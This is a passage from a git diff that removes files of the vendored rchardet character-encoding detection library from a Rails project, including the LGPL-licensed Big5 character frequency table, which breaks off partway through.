-require 'rchardet/universaldetector'
-require 'rchardet/utf8prober'
-
-module CharDet
-  VERSION = "1.3"
-  def CharDet.detect(aBuf)
-    u = UniversalDetector.new
-    u.reset
-    u.feed(aBuf)
-    u.close
-    u.result
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5freq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5freq.rb
deleted file mode 100755
index 3606f391..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5freq.rb
+++ /dev/null
@@ -1,927 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-# 
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-# 
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-# Big5 frequency table
-# by Taiwan's Mandarin Promotion Council 
-# <http://www.edu.tw:81/mandr/>
-# 
-# 128  --> 0.42261
-# 256  --> 0.57851
-# 512  --> 0.74851
-# 1024 --> 0.89384
-# 2048 --> 0.97583
-# 
-# Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98
-# Random Distribution Ration = 512/(5401-512)=0.105
-# 
-# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR
-
-module CharDet
-BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75
-
-#Char to FreqOrder table
-BIG5_TABLE_SIZE = 5376
-
-Big5CharToFreqOrder = [ 
-   1,1801,1506, 255,1431, 198,   9,  82,   6,5008, 177, 202,3681,1256,2821, 110, #   16
-3814,  33,3274, 261,  76,  44,2114,  16,2946,2187,1176, 659,3971,  26,3451,2653, #   32
-1198,3972,3350,4202, 410,2215, 302, 590, 361,1964,   8, 204,  58,4510,5009,1932, #   48
-  63,5010,5011, 317,1614,  75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, #   64
-3682,   3,  10,3973,1471,  29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, #   80
-4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947,  34,3556,3204,  64, 604, #   96
-5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337,  72, 406,5017,  80, #  112
- 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449,  69,2987, 591, #  128
- 179,2096, 471, 115,2035,1844,  60,  50,2988, 134, 806,1869, 734,2036,3454, 180, #  144
- 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, #  160
-2502,  90,2716,1338, 663,  11, 906,1099,2553,  20,2441, 182, 532,1716,5019, 732, #  176
-1376,4204,1311,1420,3206,  25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, #  192
-3276, 475,1447,3683,5020, 117,  21, 656, 810,1297,2300,2334,3557,5021, 126,4205, #  208
- 706, 456, 150, 613,4513,  71,1118,2037,4206, 145,3092,  85, 835, 486,2115,1246, #  224
-1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, #  240
-3558,3135,5023,1956,1153,4207,  83, 296,1199,3093, 192, 624,  93,5024, 822,1898, #  256
-2823,3136, 795,2065, 991,1554,1542,1592,  27,  43,2867, 859, 139,1456, 860,4514, #  272
- 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, #  288
-3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, #  304
-1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, #  320
-5026,5027,2176,3207,3685,2682, 593, 845,1062,3277,  88,1723,2038,3978,1951, 212, #  336
- 266, 152, 149, 468,1899,4208,4516,  77, 187,5028,3038,  37,   5,2990,5029,3979, #  352
-5030,5031,  39,2524,4517,2908,3208,2079,  55, 148,  74,4518, 545, 483,1474,1029, #  368
-1665, 217,1870,1531,3138,1104,2655,4209,  24, 172,3562, 900,3980,3563,3564,4519, #  384
-  32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683,   4,3039,3351,1427,1789, #  400
- 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, #  416
-3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439,  38,5037,1063,5038, 794, #  432
-3982,1435,2301,  46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804,  35, 707, #  448
- 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, #  464
-2129,1363,3689,1423, 697, 100,3094,  48,  70,1231, 495,3139,2196,5043,1294,5044, #  480
-2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, #  496
- 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, #  512
- 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, #  528
-3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, #  544
-1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, #  560
-1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, #  576
-1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381,   7, #  592
-2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, #  608
- 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, #  624
-4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, #  640
-1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, #  656
-5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, #  672
-2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, #  688
- 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, #  704
-  98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, #  720
- 523,2789,2790,2658,5061, 141,2235,1333,  68, 176, 441, 876, 907,4220, 603,2602, #  736
- 710, 171,3464, 404, 549,  18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, #  752
-5063,2991, 368,5064, 146, 366,  99, 871,3693,1543, 748, 807,1586,1185,  22,2263, #  768
- 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, #  784
-1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068,  59,5069, #  800
- 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, #  816
- 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, #  832
-5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, #  848
-1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, #  864
- 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, #  880
-3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, #  896
-4224,  57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, #  912
-3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, #  928
- 279,3145,  51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, #  944
- 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, #  960
-1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, #  976
-4227,2475,1436, 953,4228,2055,4545, 671,2400,  79,4229,2446,3285, 608, 567,2689, #  992
-3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008
-3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024
-2402,5097,5098,5099,4232,3045,   0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040
-5101, 233,4233,3697,1819,4550,4551,5102,  96,1777,1315,2083,5103, 257,5104,1810, # 1056
-3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072
-5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088
-1484,5110,1712, 127,  67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104
-2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120
-1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136
-  78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152
-1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168
-4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184
-3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200
- 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216
- 165, 243,4559,3703,2528, 123, 683,4239, 764,4560,  36,3998,1793, 589,2916, 816, # 1232
- 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248
-2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264
-5122, 611,1156, 854,2386,1316,2875,   2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280
-1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296
-2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312
-1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328
-1994,5135,4564,5136,5137,2198,  13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344
-5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360
-5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376
-5149, 128,2133,  92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392
-3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408
-4567,2252,  94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424
-4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440
-2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456
-5163,2337,2068,  23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472
-3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488
- 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504
-5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863,  41, # 1520
-5170,5171,4575,5172,1657,2338,  19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536
-1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552
-2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568
-3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584
-4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600
-5182,2692, 733,  40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616
-3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632
-4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648
-1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664
-1871,2762,3004,5187, 435,5188, 343,1108, 596,  17,1751,4579,2239,3477,3709,5189, # 1680
-4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696
-1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712
- 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728
-1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744
-1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760
-3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776
- 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792
-5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808
-2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824
-1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840
-1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551,  30,2268,4266, # 1856
-5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872
- 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888
-4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904
- 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920
-2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936
- 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952
-1041,3005, 293,1168,  87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968
-1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984
- 730,1515, 184,2840,  66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000
-4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016
-4021,5231,5232,1186,  15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032
-1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048
-3596,1342,1681,1718, 766,3297, 286,  89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064
-5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080
-5240,3298, 310, 313,3482,2304, 770,4278,  54,3054, 189,4611,3105,3848,4025,5241, # 2096
-1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112
-2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128
-1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144
-3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160
-2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176
-3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192
-2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208
-4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224
-4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240
-3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256
-  97,  81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272
-3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288
- 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304
-3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320
-4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336
-3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352
-1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368
-5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384
- 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400
-5286, 587,  14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416
-1702,1226, 102,1547,  62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432
- 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448
-4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294,  86,1494,1730, # 2464
-4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480
- 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496
-2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512
-2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885,  28,2695, # 2528
-3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544
-1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560
-4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576
-2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592
-1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608
-1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624
-2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640
-3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656
-1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672
-5313,3493,5314,5315,5316,3310,2698,1433,3311, 131,  95,1504,4049, 723,4303,3166, # 2688
-1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704
-4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654,  53,5320,3014,5321, # 2720
-1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736
- 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752
-1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768
-4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784
-4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800
-2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816
-1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832
-4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848
- 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864
-5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880
-2322,3316,5346,5347,4308,5348,4309,  84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896
-3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912
-4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928
- 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944
-5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960
-5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976
-1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992
-4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008
-4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024
-2699,1516,3614,1121,1082,1329,3317,4073,1449,3873,  65,1128,2848,2927,2769,1590, # 3040
-3874,5370,5371,  12,2668,  45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056
-3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072
-2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088
-1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104
-4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120
-3736,1859,  91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136
-3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152
-2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168
-4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771,  61,4079,3738,1823,4080, # 3184
-5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200
-3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216
-2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232
-3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248
-1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264
-2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280
-3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296
-4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063,  56,1396,3113, # 3312
-2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328
-2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344
-5418,1076,  49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360
-1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376
-2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392
-1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408
-3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424
-4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629,  31,2851, # 3440
-2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456
-3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472
-3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488
-2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504
-4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520
-2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536
-3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552
-4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568
-5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584
-3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600
- 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616
-1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412,  42,3119, 464,5455,2642, # 3632
-4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648
-1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664
-4701,5462,3020, 962, 588,3629, 289,3250,2644,1116,  52,5463,3067,1797,5464,5465, # 3680
-5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696
- 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712
-5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728
-5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744
-2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760
-3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776
-2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792
-2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808
- 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824
-1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840
-4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856
-3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872
-3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888
- 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904
-2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920
- 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936
-2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952
-4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968
-1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984
-4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000
-1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016
-3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032
- 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048
-3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064
-5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080
-5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096
